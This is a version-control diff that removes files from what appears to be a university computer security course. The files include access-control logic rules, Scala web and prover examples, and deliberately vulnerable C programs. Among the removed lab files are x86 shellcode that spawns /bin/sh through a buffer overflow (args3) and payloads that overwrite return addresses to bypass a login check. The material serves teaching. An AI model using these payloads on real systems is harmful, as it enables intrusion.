+\end{enumerate}
+
+
+$\star$ derived rules
+\end{document}
+
+%%% Local Variables: 
+%%% mode: latex
+%%% TeX-master: t
+%%% End: 
diff -r 9c968d0de9a0 -r 2ce98ee39990 inferences.pdf
Binary file inferences.pdf has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 inferences.tex
--- a/inferences.tex	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,91 +0,0 @@
-\documentclass{article}
-\usepackage{charter}
-\usepackage{proof}
-
-\begin{document}
-
-\section*{Inference Rules}
-
-\begin{enumerate}
-\item Frequently used inference rules:
-
-\begin{center}
-\mbox{\infer{F,\Gamma \vdash F}{}}\medskip
-
-\mbox{\infer{\Gamma \vdash F_2}
-            {\Gamma \vdash F_1 \Rightarrow F_2 & \Gamma \vdash F_1}}
-\hspace{10mm}
-\mbox{\infer{\Gamma \vdash F_1 \Rightarrow F_2}
-            {F_1, \Gamma \vdash F_2}}\medskip
-
-\mbox{\infer{\Gamma \vdash P \;\textit{says}\; F}
-            {\Gamma \vdash F}}
-\hspace{10mm}
-\mbox{\infer[\star]{\Gamma \vdash F}
-            {\Gamma \vdash P \;\textit{controls}\; F & \Gamma \vdash P
-              \;\textit{says}\; F}}\medskip
-
-\mbox{\infer{\Gamma \vdash P \;\textit{says}\;F_2}
-            {\Gamma \vdash P \;\textit{says}\; (F_1 \Rightarrow F_2) & 
-             \Gamma \vdash P \;\textit{says}\;F_1}}\medskip
-
-\mbox{\infer{\Gamma \vdash F[x := t]}
-            {\Gamma \vdash \forall x. F}}\medskip
-
-\mbox{\infer{\Gamma \vdash F_1 \wedge F_2}
-            {\Gamma \vdash F_1 & \Gamma \vdash F_2}}
-\hspace{10mm}
-\mbox{\infer{\Gamma \vdash F_1}
-            {\Gamma \vdash F_1 \wedge F_2}}
-\hspace{10mm}
-\mbox{\infer{\Gamma \vdash F_2}
-            {\Gamma \vdash F_1 \wedge F_2}}\medskip
-
-\mbox{\infer[\star]{\Gamma \vdash Q\;\textit{says}\; F}{\Gamma \vdash P\mapsto Q &
-    \Gamma \vdash P\;\textit{says}\; F}}
-\end{center}
-
-\item Less frequently used inference rules:
-
-\begin{center}
-\mbox{\infer{\Gamma \vdash slev(P) < slev(Q)}
-            {\Gamma \vdash slev(P) = l_1 & \Gamma \vdash slev(Q) = l_2 &
-              \Gamma \vdash l_1 < l_2}}\medskip
-
-\mbox{\infer{\Gamma \vdash slev(P) = slev(Q)}
-            {\Gamma \vdash slev(P) = l & \Gamma \vdash slev(Q) = l}}\medskip
-
-\mbox{\infer{\Gamma \vdash l_1 < l_3}
-            {\Gamma \vdash l_1 < l_2 & \Gamma \vdash l_2 < l_3}}\medskip
-
-\mbox{\infer[\star]{\Gamma \vdash P \mapsto R}{\Gamma \vdash P\mapsto Q & \Gamma
-    \vdash Q \mapsto R}}\medskip
-
-
-\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_1}}
-\hspace{5mm}
-\mbox{\infer{\Gamma \vdash F_1 \vee F_2}{\Gamma \vdash F_2}}
-\hspace{5mm}
-\mbox{\infer{\Gamma \vdash F_3}{\Gamma \vdash F_1 \vee F_2 & F_1, \Gamma
-    \vdash F_3 & F_2, \Gamma \vdash F_3}}\medskip
-
-\mbox{\infer[c\;\mbox{must be a fresh variable}]{\Gamma \vdash \forall
-    x. F}{\Gamma \vdash F[x := c]}}\medskip
-
-\mbox{\infer{\Gamma \vdash \textit{true}}{}}\medskip
-
-\mbox{\infer[\star]{\Gamma \vdash P\;\textit{controls}\; F}{\Gamma \vdash P\mapsto Q
-    & \Gamma \vdash Q\;\textit{controls} F}}
-
-
-\end{center}
-\end{enumerate}
-
-
-$\star$ derived rules
-\end{document}
-
-%%% Local Variables: 
-%%% mode: latex
-%%% TeX-master: t
-%%% End: 
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/IEEElog.jpg
Binary file pics/IEEElog.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/MafiaInMiddle.jpg
Binary file pics/MafiaInMiddle.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/MigInMiddle.jpg
Binary file pics/MigInMiddle.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/Voting1.png
Binary file pics/Voting1.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/Voting2.png
Binary file pics/Voting2.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/Voting3.png
Binary file pics/Voting3.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/Voting4.png
Binary file pics/Voting4.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/accesscontrolbook.jpg
Binary file pics/accesscontrolbook.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/anderson.jpg
Binary file pics/anderson.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/andersonbook1.jpg
Binary file pics/andersonbook1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/appel.jpg
Binary file pics/appel.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/appelseals.jpg
Binary file pics/appelseals.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/bag.png
Binary file pics/bag.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/ballotbox.jpg
Binary file pics/ballotbox.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/bank.png
Binary file pics/bank.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/barrier.jpg
Binary file pics/barrier.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/britkeys1.jpg
Binary file pics/britkeys1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/britkeys2.jpg
Binary file pics/britkeys2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/cart.gif
Binary file pics/cart.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/chip-attack.png
Binary file pics/chip-attack.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/chipnpinflaw.png
Binary file pics/chipnpinflaw.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/creditcard1.jpg
Binary file pics/creditcard1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/creditcard2.jpg
Binary file pics/creditcard2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/cross.png
Binary file pics/cross.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/cryptographic-small.png
Binary file pics/cryptographic-small.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/customers.png
Binary file pics/customers.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/dogs.jpg
Binary file pics/dogs.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/dre1.jpg
Binary file pics/dre1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/dre2.jpg
Binary file pics/dre2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/factory.png
Binary file pics/factory.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/firewall.png
Binary file pics/firewall.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/gattaca.jpg
Binary file pics/gattaca.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/gchq.jpg
Binary file pics/gchq.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/gear.gif
Binary file pics/gear.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/gman.png
Binary file pics/gman.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/india1.jpg
Binary file pics/india1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/india2.jpg
Binary file pics/india2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/indiaellection.jpg
Binary file pics/indiaellection.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/laptop.png
Binary file pics/laptop.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/lavabit-email.jpg
Binary file pics/lavabit-email.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/leavermachine.jpg
Binary file pics/leavermachine.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/netcloud.png
Binary file pics/netcloud.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/nsa.png
Binary file pics/nsa.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/nuclear1.jpg
Binary file pics/nuclear1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/nuclear2.jpg
Binary file pics/nuclear2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/opticalscan.jpg
Binary file pics/opticalscan.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/pinsentry.jpg
Binary file pics/pinsentry.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/pointsplane.jpg
Binary file pics/pointsplane.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/punchcard1.jpg
Binary file pics/punchcard1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/punchcard2.jpg
Binary file pics/punchcard2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/questionmark.png
Binary file pics/questionmark.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/radeon.jpg
Binary file pics/radeon.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/rbssecure.gif
Binary file pics/rbssecure.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/rbssecure.jpg
Binary file pics/rbssecure.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/river-stones.jpg
Binary file pics/river-stones.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/rman.png
Binary file pics/rman.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/schneier.png
Binary file pics/schneier.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/schneierbook1.jpg
Binary file pics/schneierbook1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/schneierbook2.jpg
Binary file pics/schneierbook2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/schneierbook3.jpg
Binary file pics/schneierbook3.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/seal.gif
Binary file pics/seal.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/seal.jpg
Binary file pics/seal.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/servers.png
Binary file pics/servers.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/smartwater.jpg
Binary file pics/smartwater.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/snowden.jpg
Binary file pics/snowden.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/stack1.png
Binary file pics/stack1.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/stack2.png
Binary file pics/stack2.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/stack3.png
Binary file pics/stack3.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/store.png
Binary file pics/store.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/tan1.jpg
Binary file pics/tan1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/tan2.jpg
Binary file pics/tan2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/tetris.jpg
Binary file pics/tetris.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/thief.png
Binary file pics/thief.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/trainwreck.jpg
Binary file pics/trainwreck.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/tweet.jpg
Binary file pics/tweet.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/userm.png
Binary file pics/userm.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/userw.jpg
Binary file pics/userw.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 pics/userw.png
Binary file pics/userw.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/Application0.scala
--- a/programs/Application0.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,23 +0,0 @@
-package controllers
-
-import play.api.mvc._
-
-// hello world program 
-// just answers the GET request with a string
-
-object Application extends Controller {
-
-  // answering a GET request
-  val index = Action { request =>
-    
-    Ok("Hello world!")
-  }  
-  
-}
-
-/*
- * HTML can be returned using
- *
- * OK("<H1>Hello world!</H1>").as(HTML)
- *
- */ 
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/Application1.scala
--- a/programs/Application1.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,38 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-
-/*
- * Answers a GET-request by sending a simple login form.
- *
- * Processes the POST-data by just printing the results.
- *
- */
-
-object Application extends Controller {
-
-  // GET request -> login form
-  val index = Action { request =>
-    
-    val form = """<form method="post"> 
-                Login: <input type="text" name="login"><br>
-                Password: <input type="password" name="password"><br>
-                <input type="submit"></form>"""
-
-    Ok(form).as(HTML)
-  }  
-
-  
-  // POST data: processing the login data
-  val receive = Action { request =>
-    
-    val form_data = Form (tuple ("login" -> text, "password" -> text))
-    val (login, password) = form_data.bindFromRequest()(request).get 
-    
-    Ok("Received login: " + login + " and password: " + password)
-  }
-  
-}
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/Application2.scala
--- a/programs/Application2.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,45 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- */
-
-object Application extends Controller {
-
-  //no or invalid cookie results in the counter being 0
-  def gt_cookie(c: Option[Cookie]) : Int = c.map(_.value) match {
-    case Some(s) if (s.forall(_.isDigit)) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = {
-    Cookie("visits", i.toString)
-  }
-  
-  // GET request: read cookie data first
-  def index = Action { request =>
- 
-    //reads the cookie and extracts the visits counter   
-    val visits_cookie = request.cookies.get("visits")
-    val visits = gt_cookie(visits_cookie)
-
-    //printing a message according to value of visits counter
-    val msg1 = "You are a valued customer who has visited this site %d times."               
-    val msg2 = "You have visited this site %d times."
-    val msg = 
-      if (visits >= 10) msg1.format(visits) else msg2.format(visits)
-    
-    //send message with new cookie
-    Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
-  }
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/Application3.scala
--- a/programs/Application3.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,56 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed ans stored in the format:
- *
- * visits_counter/hashed_value 
- */
-
-object Application extends Controller {
-
-  //hash functions: SHA-1, SHA-256, etc
-  def mk_hash(s: String) : String = {
-    val hash_fun = MessageDigest.getInstance("SHA-1")
-    hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
-  }
-
-  //extracting from the string .../... the visits
-  //value and hash
-  def gt_cookie(c: Option[Cookie]) : Int = 
-    c.map(_.value.split("/")) match {
-      case Some(Array(s, h)) 
-        if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
-      case _ => 0
-    }
-
-  def mk_cookie(i: Int) : Cookie = {
-    val s = i.toString
-    Cookie("visits", s + "/" + mk_hash(s))
-  }
-   
-  def index = Action { request =>
-
-    val visits_cookie = request.cookies.get("visits")
-    val visits = gt_cookie(visits_cookie)
-
-    val msg1 = "You are a valued customer who has visited this site %d times."
-    val msg2 = "You have visited this site %d times."
-    val msg = 
-      if (visits >= 10) msg1.format(visits) else msg2.format(visits)
-    
-    Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
-  }     
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/Application4.scala
--- a/programs/Application4.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,59 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed and salted with a
- * secret key.
- */
-
-
-object Application extends Controller {
-
-  //secret key for salting - this key should not be
-  //sent to the client; the key should normally be
-  //a unguessable random number generated once
-  val salt = "my secret key"
-
-  //SHA-1 + salt
-  def mk_hash(s: String) : String = {
-    val hash_fun = MessageDigest.getInstance("SHA-1")
-    hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
-  }
-
-  def gt_cookie(c: Option[Cookie]) : Int = 
-    c.map(_.value.split("/")) match {
-      case Some(Array(s, h)) 
-        if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
-      case _ => 0
-    }
-
-  def mk_cookie(i: Int) : Cookie = {
-    val s = i.toString
-    Cookie("visits", s + "/" + mk_hash(s))
-  }
-   
-  def index = Action { request =>
-
-    val visits_cookie = request.cookies.get("visits")
-    val visits = gt_cookie(visits_cookie)
-
-    val msg1 = "You are a valued customer who has visited this site %d times."
-    val msg2 = "You have visited this site %d times."
-    val msg = 
-      if (visits >= 10) msg1.format(visits) else msg2.format(visits)
-    
-    Ok(msg).as(HTML).withCookies(mk_cookie(visits + 1))
-  }     
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/C0-long.c
--- a/programs/C0-long.c	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,47 +0,0 @@
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-/*
-  I used as environment the virtual machine provided here
-
-    http://www.cis.upenn.edu/~cis551/box.tar
-
-  This is Debian/Etch with Linux 2.6.18 with gcc 4.1.2 from 2008.
- 
-  Some installation notes for this virtual machine under VMWare
-  are here
-
-    http://www.cis.upenn.edu/~cis551/project1.pdf
-
-  I run the virtial machine under MacOSX using the program 
-  VirtualBox available for free from 
-
-    https://www.virtualbox.org
-
-  The C-program I compiled the program with 
-
-    gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2
-
- */
-
-
-void foo (char *bar)
-{
-  float my_float = 10.5;    // in hex: \x41\x28\x00\x00
-  char  buffer[28];        
-
-  printf("my float value = %f\n", my_float);
-
-  strcpy(buffer, bar);  
- 
-  printf("my float value = %f\n", my_float);
-}
- 
-int main (int argc, char **argv)
-{
-  foo("my string is too long !!!!! ");                  // all is normal
-  foo("my string is too long !!!!! \x10\x10\xc0\x42");  // overwrites my_float
-  return 0;
-}
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/C0.c
--- a/programs/C0.c	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,23 +0,0 @@
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-void foo (char *bar)
-{
-  float my_float = 10.5;    // in hex: \x41\x28\x00\x00
-  char  buffer[28];        
-
-  printf("my float value = %f\n", my_float);
-
-  strcpy(buffer, bar);  
- 
-  printf("my float value = %f\n", my_float);
-}
- 
-int main (int argc, char **argv)
-{
-  foo("my string is too long !!!!! ");                  // all is normal
-  //foo("my string is too long !!!!! \x10\x10\xc0\x42");  // overwrites my_float
-  return 0;
-}
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/C1.c
--- a/programs/C1.c	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,32 +0,0 @@
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-
-void foo (char *bar)
-{
-  float my_float = 10.5;    // in hex: \x41\x28\x00\x00
-  char  buffer[28];        
-
-  printf("my float value = %f\n", my_float);
-  strcpy(buffer, bar);   
-  printf("my float value = %f\n", my_float);
-}
- 
-int main (int argc, char **argv)
-{
-  // only float overwritten
-  foo("my string is too long !!!!! \x10\x10\xc0\x42"); 
-  // also calls can_never_run
-  foo("my string is too long !!!!! \x10\x10\xc0\x42\x90\x90\x90\x90\x55\x84\x04\x08"); 
-  return 0;
-}
-
-// its address in my setup is \x08048455
-void can_never_run()
-{ 
-  printf("This can never be executed!\n");
-  exit(0);
-}
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/C2.c
--- a/programs/C2.c	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,54 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-// for installation notes see C0.c
-// this program can be called with
-//
-//  ./args2-good | ./C2
-//
-// or
-//
-// ./args2-bad | ./C2
-
-
-int match(char *s1, char *s2) {
-  while( *s1 != '\0' && *s2 != 0 && *s1 == *s2 ){
-    s1++; s2++;
-  }
-  return( *s1 - *s2 );
-}
-
-// since gets() is insecure and produces lots of warnings, 
-// I use my own input function instead ;o)
-char ch;
-int i;
-
-void get_line(char *dst) {
-  char buffer[8];
-  i = 0;
-  while ((ch = getchar()) != '\n') {
-    buffer[i++] = ch; 
-  }
-  buffer[i] = '\0';
-  strcpy(dst, buffer);
-}
-
-void welcome() { printf("Welcome to the Machine!\n"); exit(0); }
-void goodbye() { printf("Invalid identity, exiting!\n"); exit(1); }
-
-main(){
-  char name[8];
-  char pw[8]; 
-
-  printf("login: "); 
-  get_line(name);
-  printf("password: "); 
-  get_line(pw);
-
-  if(match(name, pw) == 0)
-    welcome();
-  else
-    goodbye();
-}
-	
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/C3.c
--- a/programs/C3.c	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,19 +0,0 @@
-#include<stdio.h>
-#include<string.h>
-
-// simple program used for a bufferflow attack
-//
-// for installation notes see C0.c
-//
-// can be called with 
-//
-//   ./C3 `./args3`
-
-main(int argc, char **argv)
-{
-        char buffer[80];
-
-        strcpy(buffer, argv[1]);
-
-        return 1;
-}
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/C4.c
--- a/programs/C4.c	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,15 +0,0 @@
-#include<stdio.h>
-#include<string.h>
-
-// a program that just prints the argument
-// on the command line
-//
-// try and run it with %s
-
-
-main(int argc, char **argv)
-{
-        char *string = "This is a secret string\n";
-
-        printf(argv[1]);
-}
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/args2-bad
--- a/programs/args2-bad	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-perl -e 'print "test\nAAAAAAAABBBB\xc8\x84\x04\x08\n"'
\ No newline at end of file
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/args2-good
--- a/programs/args2-good	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-perl -e 'print "test\ntest\n"'
\ No newline at end of file
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/args3
--- a/programs/args3	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,28 +0,0 @@
-#!/bin/sh
-
-# shellscript that overwrites the buffer with 
-# some payload for opening a shell (the payload
-# cannot contain any \x00)
-
-
-shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 
-
-# 24 bytes of shellcode
-
-# "\x31\xc0"                      // xorl         %eax,%eax
-# "\x50"                          // pushl        %eax
-# "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
-# "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
-# "\x89\xe3"                      // movl         %esp,%ebx
-# "\x99"                          // cltd
-# "\x52"                          // pushl        %edx
-# "\x53"                          // pushl        %ebx
-# "\x89\xe1"                      // movl         %esp,%ecx
-# "\xb0\x0b"                      // movb         $0xb,%al
-# "\xcd\x80"                      // int          $0x80
-
-padding=`perl -e 'print "\x90" x 80'`
-
-# need s correct address in order to run
-printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/prove1.scala
--- a/programs/prove1.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,119 +0,0 @@
-
-abstract class Term 
-case class Var(s: String) extends Term 
-case class Const(s: String) extends Term 
-case class Fun(s: String, ts: List[Term]) extends Term
-
-abstract class Form {
-  def -> (that: Form) = Imp(this, that)
-}
-case object True extends Form
-case object False extends Form
-case class Pred(s: String, ts: List[Term]) extends Form
-case class Imp(f1: Form, f2: Form) extends Form
-case class Says(p: String, f: Form) extends Form 
-case class And(f1: Form, f2: Form) extends Form 
-case class Or(f1: Form, f2: Form) extends Form 
-
-case class Judgement(Gamma: List[Form], F: Form) {
-  def lhs = Gamma
-  def rhs = F
-}
-
-val Admin = "Admin"
-val Bob = "Bob"
-val Del = Pred("del_file", Nil)
-
-val Gamma = 
-  List( Says(Admin, Del) -> Del,
-        Says(Admin, Says(Bob, Del) -> Del),
-        Says(Bob, Del) )
-
-val goal = Judgement(Gamma, Del) // request: provable or not?
-
-def partitions[A](ls: List[A]): List[(A, List[A])]  = 
-  ls.map (s => (s, ls diff List(s)))
-
-
-def prove(j: Judgement, sc: () => Unit) : Unit = {
-  if (j.lhs.contains(j.rhs))  sc()   // Axiom rule 
-  else prove1(j.lhs, j.rhs, sc) 
-}
-
-def prove1(lhs: List[Form], rhs: Form, sc: () => Unit) : Unit = 
-  rhs match {
-    case True => sc ()
-    case False => ()
-    case Imp(f1, f2) => prove(Judgement(f1::lhs, f2), sc) 
-    case Says(p, f1) => prove(Judgement(lhs, f1), sc) 
-    case Or(f1, f2) => 
-      { prove(Judgement(lhs, f1), sc);
-        prove(Judgement(lhs, f2), sc) }
-    case And(f1, f2) => 
-      prove(Judgement(lhs, f1), 
-            () => prove(Judgement(lhs, f2), sc))
-    case _ => { for ((f, lhs_rest) <- partitions(lhs))
-                  prove2(f, lhs_rest, rhs, sc) }
-  }
-
-def prove2(f: Form, lhs_rest: List[Form], rhs: Form, sc: () => Unit) : Unit = 
-  f match {
-    case True => prove(Judgement(lhs_rest, rhs), sc)
-    case False => sc()
-    case And(f1, f2) =>
-      prove(Judgement(f1::f2::lhs_rest, rhs), sc)
-    case Imp(f1, f2) => 
-      prove(Judgement(lhs_rest, f1), 
-            () => prove(Judgement(f2::lhs_rest, rhs), sc))
-    case Or(f1, f2) => 
-      prove(Judgement(f1::lhs_rest, rhs), 
-            () => prove(Judgement(f2::lhs_rest, rhs), sc))
-    case Says(p, Imp(f1, f2)) => 
-      prove(Judgement(lhs_rest, Says(p, f1)), 
-            () => prove(Judgement(Says(p, f2)::lhs_rest, rhs), sc)) 
-    case _ => ()
-  }
-
-  
-
-// function that calls prove and returns immediately once a proof is found
-def run (j : Judgement) : Unit = {
-  try { 
-    def sc () = { println ("Yes!"); throw new Exception }
-    prove(j, sc) 
-  }
-  catch { case e: Exception => () }
-} 
-
-run (Judgement (Nil, False -> Del))
-run (Judgement (Nil, True -> Del))
-run (Judgement (Nil, Del -> True))
-
-run (goal)
-
-val Gamma1 = 
-  List( Says(Admin, Says(Bob, Del) -> Del),
-        Says(Bob, Del) )
-
-val goal1 = Judgement(Gamma1, Del) // not provable
-
-run (goal1)
-
-run (Judgement(Nil, Del -> Del))
-
-run (Judgement(Nil, Del -> Or(False, Del)))
-
-
-val Chr = "Christian"
-val HoD = "Peter"
-val Email = Pred("may_btain_email", List(Const(Chr)))
-val AtLib = Pred("is_at_library", List(Const(Chr)))
-val Chr_Staff = Pred("is_staff", List(Const(Chr)))
-
-val Policy_HoD = Says(HoD, Chr_Staff) -> Chr_Staff
-val Policy_Lib = And(Chr_Staff, AtLib) -> Email
-val HoD_says = Says(HoD, Chr_Staff)
-
-run (Judgement (List(AtLib, Policy_HoD, Policy_Lib, HoD_says), Email))
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/prove2.scala
--- a/programs/prove2.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,129 +0,0 @@
-import scala.language.implicitConversions
-import scala.language.reflectiveCalls
